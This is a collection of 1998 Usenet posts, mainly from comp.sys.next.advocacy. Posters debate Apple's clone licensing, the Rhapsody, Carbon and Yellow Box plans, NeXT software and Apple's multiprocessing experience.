-----------== Posted via Deja News, The Discussion Network ==----------
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From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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References: <3615835C.225B608D@nstar.net> <6v6hvv$c0q@newsb.netnews.att.com>
Message-ID: <t_RR1.1272$Ar1.1429483@news.rdc1.sdca.home.com>
Date: Sun, 04 Oct 1998 21:43:53 GMT
NNTP-Posting-Date: Sun, 04 Oct 1998 14:43:53 PDT
Organization: @Home Network
In <6v6hvv$c0q@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after
@ wrote:
> Michael J. Peck <mjpeck@nstar.net> wrote:
>
> >http://www.news.com/News/Item/0,4,27107,00.html?st.ne.fd.gif.d
>
> Thanks for the URL. Interesting stuff.
>
> >If Apple were willing to license the iMac to what looks to be an eager
> >industry, this could be a significant shot in the arm for PowerPC.
>
> What is remarkable about the iMac is its uniqueness.
>
>
[snip differentiation points]
> The current MacOS did not succeed in cloning;
> perhaps MacOS X is sufficiently different to make another try.
>
>
This certainly re-frames the Question. And if you allow "Mac" to define
success or failure, isn't the X version of the Mac just another "try"? Is
Apple licensing success or failure _that_ closely tied to Mac cloning?
Why can't Apple joint mfg'r + mkt with Toshiba, NEC, etc... Apple hardware
on a licensing basis? Licensing production and distribution .vs. cloning
specs should constrain the product space to mfgr efficiency price variances.
The Win-Win with such a strategy is that Apple gains field service + support
for Apple licensed hardware to customer's who like existing Single Source
Supply whether Toshiba, NEC etc... Simplifying purchasing, support and
service logistics goes a long way to overcoming Apple's IS stigma of being
"too different". In fact, the marketspace would become more differentiated
on non-hardware allowing "value-add" companies to reinforce strengths that
the platform provides
OVER the PC's.
I would think that would move goalposts from Desktop dominance to Value
chain of Vendors. What would it be like to have an OS which supported
Vendors rather than the other way around?
-r
From: "imac" <monner@storm.ca>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Sun, 04 Oct 1998 18:12:47 -0400
Organization: Storm Internet Services
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----------
In article <6v8f5v$8l7@news1.panix.com>, sal@panix.com (Sal Denaro) wrote:
>>The problem with MOSXS is that it
>>now carries the "Mac OS" moniker, which may fool someone expecting - and needing
>>- something more like OS 8.5.
>
>I think that's why they added the "server" at the end. I would also expect it
>to be closer to $500 than the $100 or so that 8.5 will cost.
I think these comments get to to the heart of the delay in releasing
Rhapsody. I think Apple came to realize they couldn't release a Unix system
that might be confused as an upgrade to MacOS and just as friendly, until
the Unix part was well hidden. I expect CR1, when it comes out, will go far
beyond what was intended for Unified Release, let alone Premiere release, at
least in terms of user interface.
Michael Monner
Subject: Re: NeXT as work system questions.
Newsgroups: comp.sys.next.advocacy
References: <6v8nd5$8qh$1@nnrp1.dejanews.com>
In-Reply-To: <6v8nd5$8qh$1@nnrp1.dejanews.com>
From: Paul <pb141@nopspam.columbia.edu>
Message-ID: <A3VR1.181$U8.374575@news6.ispnews.com>
NNTP-Posting-Date: Sun, 04 Oct 1998 21:14:08 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 05 Oct 1998 01:14:08 GMT
On 10/04/98, hughesojh@my-dejanews.com wrote:
>Right.
>
>Basically every time I use a Windows box I want to throw it out the window.
>
You are not alone.
A Windows box is more stable when running OPENSTEP (but then you don't get
the Lighthouse suite).
...
>NeXT looks like a fast, stable Unix based OS with a decent GUI running on
top of it.
It is. The hardware is also cheap these days.
...
>I have a few questions though.
>
>How good is the Lighthouse suite of Apps?
>
Excellent in general. The suite pulled together several sources. The problem
may lie in interoperability with the WinTel world. Since these apps are no
longer being developed on black hardware it is not as likely to be able to
read or write modern versions of files for non-NeXT computers to use. For
example, an much as I like Concurrence over PowerPoint, I'm lacking the
portable projection equipment to display slides and so have to use PP at
work.
...
>Can lighthouse flow text around pictures? Can I use it to put text in a
frame?
>
Yes, OpenWrite can do this. FrameMaker is also ported, although not readily
available anymore (no free Lighthouse license). Alternatively, WriteUp and
PasteUp are very good native commerically available apps.
Message-ID: <361842A8.BA7D1336@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net> <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com> <3616b0bf.0@news.depaul.edu> <3616C5C2.5354F82@nstar.net> <6v8fbt$8lt@news1.panix.com> <3617CDBF.E5817D05@nstar.net> <3616786A.6ADF@southwind.net>
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Date: Sun, 04 Oct 1998 22:53:12 -0500
jmz@southwind.net wrote:
> May I point to Sun? Sun makes it possible,even easy,to make
> SPARCstations that compete directly with Sun's own,and in fact if you
> are not a Fortune 500 company a Sun clone is almost always a better
> choice.Sun still sells 80% of SPARC boxes and earns enough on the rest
> to make your buying a Tatung,Sanar,Integrix,or (yecch) Ross profitable
> for them.
Don't forget Fujitsu and Axil. Anyway, that's the appropriate parallel.
Sun is the "Macintosh" of the UNIX market, except for the fact that Sun
actually sells well in its own market. Sun has made one of the most
successful licensing programs in the industry, and anyone who wants to
argue with the idea of cloning the Macintosh has to either argue with
Sun's success, or say that Apple is simply too incompetent to accomplish
what Sun did.
[cut]
MJP
From: hughesojh@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT as work system questions.
Date: Mon, 05 Oct 1998 09:54:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6va50l$2n4$1@nnrp1.dejanews.com>
References: <6v8ncv$8qg$1@nnrp1.dejanews.com> <19981004182037.09305.00010742@ng65.aol.com>
Cheers mate. That was a big help.
A JSP is like, a load of lines and boxes and what-not.
Looks like the output from M$ organisation chart (not a bad app, but they
stole it, of course..)
Handy way of working out a program before you write it.
OJH
In article <19981004182037.09305.00010742@ng65.aol.com>,
willadams@aol.com (WillAdams) wrote:
>
> OWSCR@hotmail.com said:
> >Basically every time I use a Windows box I want to throw it out the window.
>
> I feel the same way
>
> >I would buy a mac,
>
> Funny, I feel like throwing the PowerMac I use at work through a window a
> couple of times a day at least.
>
> >... but there is a fair bit of Unixy stuff I want to do,
>
> I'm a Unix wannabe, but it's there (in NeXT/OPENstep) for those like yourself
> who can use it.
>
> > and I can't afford a G3 to run Rhapsody on.
>
> Neither can I, and I'm not sure I'd want to.
>
> >NeXT looks like a fast, stable Unix based OS with a decent GUI running on top
> >of it.
>
> I can count (and account for) every crash my NeXT has had in the 2+ years I've
> been using it (all attributable to my own ignorance/stupidity/bad SCSI
> configuration... lessee, I don't like the name of this .TIFF which I've just
> placed in Virtuoso, let me switch to Workspace and change it, then when I
> change back to Virtuoso <BOOM>, oops, mea culpa...)
>
> >I've had a look at FAQ's and so on, and I have pretty much decided on a Color
> >Turbo Slab.
>
> Awesome! I've got a mono '040 Cube myself and would love color.
>
> >How good is the Lighthouse suite of Apps?
>
> Quite good.
>
> >I need to be able to include JSP type diagrams (which I'd be doing using the
> >drawing package it comes with) in reports. Lighthouse can do this?
>
> Uh, what're JSP diagrams? Most likely Diagram! can do this, it's good at
> technical flowcharts/outlines, etc. Not so good at free-form drawing though.
>
> >Can lighthouse flow text around pictures?
> Not sure about this.
>
> >Can I use it to put text in a frame?
>
> Yes. That's how one places text as I recall.
>
> I am certain that either Stone Create <www.stone.com> or SuperDraw will be
able
> to do anything you might need though (but Diagram, I suspect will be
better...)
> You might even be able to make do with Draw.app
>
> >If someone could help me with these questions, I'd be a lot more happy over
> >removing PC from desk and switching to NeXT.
>
> I hope I've helped--you might want to consider though, just getting OPENstep
> instead and installing that on the PC, though it's not quite as nice, it's
much
> quicker.
>
> William
>
> --
> William Adams
> http://members.aol.com/willadams
> Sphinx of black quartz, judge my vow.
>
>
-----------== Posted via Deja News, The Discussion Network ==----------
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From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: Tue, 06 Oct 1998 15:56:48 -0500
Organization: Ericsson North America Inc.
Message-ID: <361A8410.B34ABC12@ericsson.com>
References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net> <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com> <3616b0bf.0@news.depaul.edu> <3616C5C2.5354F82@nstar.net> <6v8fbt$8lt@news1.panix.com> <3617CDBF.E5817D05@nstar.net> <6v9jqc$1jfi$1@piglet.cc.uic.edu> <6v9l1r$27uq$1@piglet.cc.uic.edu> <361862AC.B572DA9@nstar.net> <x7r9wnuymx.fsf@loathe.com> <3618D157.D7637EDE@nstar.net> <3618e783.0@news.depaul.edu> <x7n27aved2.fsf@loathe.com> <6vdjbo$5u1$1@nnrp1.dejanews.com> <1dghhq4.1hxaolk17qqkoqN@roxboro0-047.dyn.interpath.net>
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John Moreno wrote:
> > Wrong. It's obvious that "your knowledge" is very limited. Mach was
> > explicitly _designed_ with multiprocessor support and a single uniform IPC
> > mechanism that made the distinction between local and network resources
> > transparent.
In any case, the "experience" you mention is NUMA, as you have already
said. Simply having built a NUMA architecture does not necessarily mean
that NeXT has any measure of correlative experience in SMP. The NRW is a
better example, but since the basis for this example is one (two?)
Paquette posting, I would hesitate to call it evidence for anything.
There is no way to know anything about the NRW apart from what Mike
Paquette has said.
IBM has experience in SMP. Sun, SGI, DEC, these companies have
experience in SMP (for Sun and SGI, much of it was inherited after
splitting up Cray). Apple has nearly no experience in SMP.
Linux has had SMP support for a while, yet most in the Linux community
openly admit that it's taken but baby steps toward the level of
sophistication available from the big vendors. SMP is more than simply
putting several processors together, writing a new kernel, and handling
threads intelligently, as Windows NT's failures have already proven.
Sadly, most people think that NT-style SMP is sufficient, and will
probably think that this is all Apple needs to accomplish, either.
> Not to mention that apple has had a SMP API for sometime as well as
> experience in trying to put it into Copland.
That early multiprocessing API provides weak support for claiming that
Apple has experience in the SMP arena. It was about as sophisticated as
SLI with two Voodoo2 boards. IIRC, Apple produced exactly two
multiprocessor models in its Macintosh product line; it's laughable to
say, on this basis, that Apple has any kind multiprocessing experience.
You could as easily say that 3Dfx has multiprocessing experience because
they put two texture-mapping chips on their accelerators.
MJP
From: hughesojh@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT as work system questions.
Date: Mon, 05 Oct 1998 09:58:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6va58f$309$1@nnrp1.dejanews.com>
References: <6v8ncv$8qg$1@nnrp1.dejanews.com> <19981004182037.09305.00010742@ng65.aol.com> <36167955.7969@southwind.net>
Firstly, it isn't an intel box.
Don't have that crap in the house.
Second, I really can't be bothered.
I have seen Windoze,OS/2, Var. flavours of Unix and none of them are really up
to what I want.
QNX looks better, but it is a hell of a lot of money compared to linux.
OJH>
In article <36167955.7969@southwind.net>,
jmz@southwind.net wrote:
> >
> > I hope I've helped--you might want to consider though, just getting OPENstep
> > instead and installing that on the PC, though it's not quite as nice, it's
much
> > quicker.
>
> With disk space cheaper than dirt,get System Commander and make
> multiple partitions on your Intel box.You then can play with the various
> systems and find what you like.
>
-----------== Posted via Deja News, The Discussion Network ==----------
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From: Matt Evans <bmajik@loathe.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: 05 Oct 1998 04:49:26 -0500
Organization: University of Nebraska-Lincoln
Message-ID: <x7r9wnuymx.fsf@loathe.com>
References: <6v9l1r$27uq$1@piglet.cc.uic.edu> <361862AC.B572DA9@nstar.net>
Michael Peck <mjpeck@nstar.net> writes:
> That's right, but keep in mind that Ross and Fujitsu actually licensed
> the CPU specs, as well. They build SPARC clones, and Sun makes money
> from this, as well.
Furthermore, until the Ultra chips came out, ROSS made the fastest and
most scalable CPUs around.. And Sun sold them in genuine Sun boxes. the
Sparc 20 HS-121 came with ROSS hypersparcs @ 125mhz, not with the normal
TI/Viking Supersparcs. Sun doesn't make fab its CPUs. And in the case of
the hypersparc, sun doesn't even always design the CPUs. Whats important
is that Sun can absorb winning technologies it sees. I feel bad for ROSS
since the ultra boxes just crush the best SS20 you can build, but thats
how it goes. ROSS made a kick ass product that gave sun the balls they needed
while they were developing the sun4u architecure, and ROSS made alot of
money on the way i'd imagine. If apple is going to deal wth clone vendors,
apple needs to be prepared to face the reality that the clones could be
better on some fronts. In the Sun market, sun has a name advanage, and
i've seen a demonstrated quality advantage as well. Clones must price lower
because the Sun market is targeted at reliability. Every reasonable person
knows that 2k price difference up front doesn't mean alot if it buys you
2 days of time when you'd be otherwise down. Apple cannot try to
differentiate itself from clone makers on "reliability" or "quality" because
while those may infact be points in apples favor, no one buying a mac gives
a damn. They need to differentiate themselves on performance, price, and
integration. They need to be getting the *first* shipments of PPC chips,
doing all the first rounds of design work. It was shameful that
Power Computing made the fastest mac boxes around from about the time that
the clone market opened until PC decided to tell apple to shove it.
The reason the Gateway's, the Dell's, and the Compaq's are surviving vs. the
"ACME Microcomputers of Compton" has to do with them having the newest
technology first, and having the large deals with all the OEMs.
Apple can't compete on even ground with PCs because everyone is making 20,000
competeing kick ass products for a PC where at least 5 in each category
are good. Apple needs to have the best of breed solution in several important
fields, and needs to continually push the ante to keep it that way. Finally,
they need to point out why those things are important, i.e. do some
danm advertising. The theory of "think different" isn't fooling anyone.
Everyone roots for the underdog but not so many people are willing to put
down the cash on the underdog. The G3 chip is the first time in a while
Apple has had soemthing going for it. The iMac is somethign good. Pure
innovation on the part of apple. Who cares what direction its goign in, its
going somewhere that other people haven't gone yet, and thats what apple
needs. Perhaps apple can engineer soemsort of render farm type computer.
Maybe if apple can get a fucking decent operating system written, people
can start seeing things like "SMP Photohop 6.0, available exclusively for
PowerMacintosh G3". Or hell, why not build a PCI card thats a vector
processor ? How much of 2d graphics work is 3x3, 5x5, or 7x7 matrix
math ? Write a cute API for it that macos developers can understand and use,
and then suddenly alll sorts of programs can use it. Making macintoshes into
PCs is definitely not the thing to do. The iMac is the first thing i've seen
out of apple that i've liked in a long time. Their powerbooks are another
thing they've really done correctly. Now hit the high end. Make it so that
I can justify spending that outrageous amount on a high-end G3 box. Put
a few G3s in there. Put an OS that has memory protection and SMP support on
top of it. And make the damn thing pre-emptive already. No one argues that
the MacOS interface is better. No one argues that much very cool software
is written for the Mac. Everyone agrees that we all like macintoshes.
Now make them cheaper, and make them worth liking even more.
</rant>
--
Matt Evans web: www.loathe.com/~bmajik
School: mevans@cse.unl.edu Work: bmajik@ntr.net
"No one will be left to prove that numbers existed,
Maybe soon the children will be born open fisted" -- Dave Mustaine
From: trashcan@david-steuber.com (David Steuber "The Interloper")
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Mon, 05 Oct 1998 04:42:46 GMT
Organization: David's Diversions @ www.david-steuber.com
Message-ID: <361a43db.3847963@news.newsguy.com>
References: <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com> <6v8mui$80r$1@nnrp1.dejanews.com> <364204ff.425648756@news2.newscene.com>
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On 4 Oct 1998 18:32:01 -0500, me@home.org (Just Me) claimed or asked:
% Is a 233MHZ Apple going to run faster than a 450MHz Pentium II?
You can't do a comparison based on clock speed. How many clock cycles
does it take a Pentium II to do an add instruction? How many for the
G3? How about floating point math? The PII will STOP EVERYTHING
until the FPU finishes. So much for dual pipeline. To get a
legitimate performance comparison, you need to run a real program.
Calculating the first million or so digits of PI is a good test. FFT
would be another good test. I don't have numbers in front of me, but
I hear the G3 even beets the Alpha.
--
David Steuber (ver 1.31.1b)
http://www.david-steuber.com
To reply by e-mail, replace trashcan with david.
When the long night comes, return to the end of the beginning.
--- Kosh (???? - 2261 AD) Babylon-5
"Where do you want to go tomorrow?" --- KDE tool tip
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 6 Oct 1998 22:11:45 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169>
NNTP-Posting-Date: 6 Oct 1998 22:11:45 GMT
On 6 Oct 98 11:03:18 -0700, Lawson English <english@primenet.com> wrote:
:A very real issue, I'm afraid. However, the way that Apple now appears to
:be positioning YB is as "the premier Java programming framework" or
:something like that. Is this a political move to keep the big developers
:from calling for its demise, or is it actually how Apple intends to
:position YB?
Yes.
It's actually a good idea. People whinged incessantly about
Objective-C, because C++ was idiotically envisioned to be the Last
Real Programming Language We Will Ever Need.
Fortunately, Java has broken that delusion. It's semantically close enough
to Objective-C (unlike C++) that most of YB can be brought over with little
angst.
Attaching YB to Java means that YB lives on because it is political
suicide to admit to abandoning Java.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I still use OPENSTEP........and I like it!
Date: 5 Oct 1998 07:38:20 GMT
Organization: Idiom Communications
Message-ID: <6v9t1c$8be$1@news.idiom.com>
References: <6v6b9c$8s2$3@news.bctel.net> <6v8f61$8l7@news1.panix.com>
<6v9mn8$ior$1@news.bctel.net>
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Cc: listings@infobase-intl.com
Maria Iglesis may or may not have said:
-> I also wonder if Adobe will offer a DPS package
-> since Apple won't be offering it.
No, they won't. That's the problem.
Adobe is being rather thick-headed w/r/t DPS and its future. They blew their
chance to have it everywhere by being ridiculously arrogant and difficult to
work with, and now they're killing DPS just when Apple was ready to put it
into millions of systems.
As a technical organization, Adobe impresses the hell out of me. As a
vendor, they suck rocks.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: stepr@REMOVE.columbus.rr.com (AO)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What happends to MacOS X Server?
Message-ID: <stepr-0610981828550001@wor246093.columbus.rr.com>
References: <6vdkf5$a0m$1@news2.nctu.edu.tw> <AUvS1.648$%l1.343296@news.rdc1.sdca.home.com>
Date: Tue, 06 Oct 1998 22:31:25 GMT
NNTP-Posting-Date: Tue, 06 Oct 1998 18:31:25 EDT
Organization: Time Warner Communications Columbus
In article <AUvS1.648$%l1.343296@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> In <6vdkf5$a0m$1@news2.nctu.edu.tw> Spencer Yu wrote:
> > Any news from Apple about MacOS X Server? I thought the shipping
> > date is very very close now..and the silence is making me scared...
> >
>
> You're not alone... there's some guy named mmalc here who put cold hard cash
> on X shipping by Oct. He hasn't even had the courtesy of a press release by
> Apple of their intention to do so :-)
>
> -r
I believe mmalc's cash is on for a release by end of November, not October.
Akin
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Tue, 06 Oct 1998 17:54:10 -0500
Organization: Ericsson North America Inc.
Message-ID: <361A9F92.1D9F3A3@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> No. Jobs and company devised a scheme so that MacOS programs can be
> reprogrammed to run as a native Rhapsody process, instead of in a virtual
> machine.
Right. In other words, MacOS programs *have* to be rewritten, and thus
become second-rate first-class citizens in the Rhapsody environment.
This, in contrast to letting MacOS programs be first-rate first-class
citizens in their own environment (without an immediate rewrite, also).
In other words, instead of investing in YB development, developers must
first investing in Carbon-izing apps. How clever, another reason to put
off investment in YB.
> What evidence is that it's screwing everything up, as compared to what
> was happening before?
The fact that Rhapsody is more than ever a balancing act against MacOS,
and that both look pathetic because of Jobs' constant shapeshifting on
the subject of pathways forward.
Compare and contrast:
Amelio: "The fact is, System 7 is the operating system we have today.
Rhapsody is going to be great, but it's not here, yet."
Jobs: "Milk the MacOS for all it's worth and move on."
[a few months later]
Jobs: "Rhapsody will replace MacOS within a few years."
[a few months later]
Jobs: "We're making MacOS into Rhapsody."
[a few months later]
Jobs: "Rhapsody *is* MacOS."
> Despite all the noise here, this move has been unanimously hailed by
> actual Macintosh software developers, many of whom previously expressed
> doubts about Amelio's plan.
I'll bet it has. Once Apple took the gun away from their heads they were
happy to agree to anything, even this silly Carbon plan.
The results are nothing if not predictable. 95% of all existing MacOS
apps will never get beyond Carbon. Instead of two parallel markets
running on two parallel platforms -- one containing established MacOS
apps, the other containing proven OpenStep apps and innovative, risky
apps from new players (eager to capitalize on YB's ease-of-development)
-- we now have one market, poorly defined, uncertain of shipment, and
generally ignored.
> During the Amelio plan, the inevitable ultimate ''convergence'' was in
> some fuzzy balloon way off in the future.
In other words, it was up to developers, not der Grosse Poobahnen in
Cupertino.
> Now, it has a name and a
> specific technology, and even a due date, if you want to believe in
> such fictions.
>
> Complain about the absence of Rhapsody/Intel past 1.0 if you want, but
> not the OS design plan.
Hell no, that's rock solid (not).
MJP
From: quinlan@intergate.bc.ca
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Mon, 05 Oct 1998 08:18:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v9vc8$sn1$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com> <6v4cvb$n0u$1@eskinews.eskimo.com> <362d5e93.317525241@news3.newscene.com> <6v82ve$rce$2@news.idiom.com> <363cb0bf.404077472@news2.newscene.com> <36167501.2C23@southwind.net>
In article <36167501.2C23@southwind.net>,
jmz@southwind.net wrote:
> Seriously,just what industry (other than developing for Windows) can
> require Windows?
There a lot of industries which depend on applications which are only written
for windows. I gave environmental sensing as an example where you need either
DOS or Windows.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 6 Oct 1998 23:11:26 GMT
Organization: Michigan State University
Message-ID: <6ve82u$2iq$1@msunews.cl.msu.edu>
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169>
<slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Cc: NOSPAMmbkennelNOSPAM@yahoo.com
In <slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> Matt Kennel wrote:
> On 6 Oct 98 11:03:18 -0700, Lawson English <english@primenet.com> wrote:
>
> :A very real issue, I'm afraid. However, the way that Apple now appears to
> :be positioning YB is as "the premier Java programming framework" or
> :something like that. Is this a political move to keep the big developers
> :from calling for its demise, or is it actually how Apple intends to
> :position YB?
>
> Yes.
>
> It's actually a good idea. People whinged incessantly about
> Objective-C, because C++ was idiotically envisioned to be the Last
> Real Programming Language We Will Ever Need.
>
> Fortunately, Java has broken that delusion. It's semantically close enough
> to Objective-C (unlike C++) that most of YB can be brought over with little
> angst.
>
> Attaching YB to Java means that YB lives on because it is political
> suicide to admit to abandoning Java.
>
Really?! I find it hard to belive that anyone in their right mind would code
in Java to use YB? Why? Seems to defeat the whole idea of crossplatform
compatibility.
Sure one could use the development environment to simply code Java
and ignore YB - but then what is the point of YB?
I think someone hopes that Java Performance will never be very good
and that YB might be able to come save the day. Thing is given the
track record of NeXT and Apple I can't see that YB would
be ported to very many OS's. This is something that Apple seems
to be shying away from. Whether it's right or not is hard to say.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: ahoesch@on-luebeck.de (Andreas Hoeschler)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 5 Oct 1998 16:43:39 GMT
Organization: Offenes Netz Luebeck e.V.
Message-ID: <6vasvr$918@merkur.smartsoft.de>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost>
>But with Apple emphasizing "Carbon" and downplaying Yellow Box Rhapsody
>seems to have lost its attractiveness and momentum anyway.
If Apple does not promote the YellowBox as hell, they're simply stupid and I
would like to see Apple being bought and reorganized by a company that know
what time it is.
> especially if there are only handful of apps available for it?
It seems that if we would like to have a reasonable OS in the future, we
should slowly start to develop applications for it. In opposite to Win, the
YellowBox is powerful enough for a one man shows, so lets simply do it.
Best wishes
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: cmsg cancel <jayfar-0610981936100001@dyn-172.blackbox-5.netaxs.com>
Control: cancel <jayfar-0610981936100001@dyn-172.blackbox-5.netaxs.com>
Date: Tue, 06 Oct 1998 19:38:03 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-0610981938030001@dyn-172.blackbox-5.netaxs.com>
cancel <jayfar-0610981936100001@dyn-172.blackbox-5.netaxs.com>
Message-ID: <361ABD55.870F151B@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <3619B2E5.19831926@nstar.net> <slrn71l49m <361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com>
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NNTP-Posting-Date: Tue, 06 Oct 1998 21:02:08 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 06 Oct 1998 20:01:09 -0500
Robert Barris wrote:
> Hellooooo, if you consider the alterations for Carbon (what is described
> above, a selected useful subset of the classic Mac API, suitable for
> multitasking and protected memory) to be "rewritten", than perhaps you're
> correct.
>
> Photoshop certainly wasn't "rewritten" in a couple of weekends, and yet
> that's how long it took to get first code running on the earliest DEMO
> version of the Carbon API, May WWDC 98.
They are "rewritten", no matter how much effort that entails. Here the
difference is between existing, already-shipped software (which is
plentiful) and non-existing, never-shipped software. MacOS should be
used to run MacOS software, and there should be an aggressive upgrade
strategy for MacOS that includes Carbon. In fact, it should already
include Carbon.
And Rhapsody should be used to run YB software with the additional
benefit of running *all* MacOS software, Carbon or no, in a
backward-compatibility environment.
> Not every developer faces the same choices. Not all will make the same
> decision.
It doesn't matter if there are exceptions. In fact, I suspect that
developers who stay with Apple at all will be exceptions in their own
right.
> I don't completely disagree. Carbon at its core is a response to
> developer wants. Namely, not wanting to do a big rewrite of apps just to
> get into YB.
They still don't get YB! All they get is a sticker that says "Rhapsody
Ready" or whatever Apple intends to do to reward Carbonizers, and their
app gets to pretend to be a real Rhapsody program, when it's really not.
> If you want to poke fun, sure.
I'm not poking fun! This is the sidewinding OS strategy over which Apple
has been stumbling for the last two years. There's nothing funny about
it! If Apple had stuck to Amelio's original plan, there would still be a
future for developers who wanted to stay with and grow the MacOS
platform, and there would also be a premium development platform for
high-end developers and new developers to follow, along with existing
OPENSTEP developers.
Like this is anything new. Of course it's not; it's the plan every NeXT
fan here in this group hailed as a recipe for success back in the days
before Jobs' triumphant coup. Now the body language is all mixed-signals
swaggering, "oh yeah, I've got it under (whoops) control, I'm (whoops)
badass, I'm cool, I'm (whoops)..."
> Some names have changed. But if you break it down, MacOS X has the same
> Blue Box that Rhapsody does. The same Yellow Box. And it also has a
> "Carbon" box, for apps that get tweaked appropriately.
Forget MacOS X. We've got our hands full with just two operating
systems, we don't need a third muddling the discussion. I couldn't care
less about MacOS X because unless Rhapsody does something magical MacOS
X will never ship.
Let me amend that: given its history, Apple will probably name some
eventual upgrade of its existing lineup "MacOS X". It won't resemble the
currently-expected MacOS X.
> Macromedia, Microsoft and Adobe don't seem to believe that it is silly.
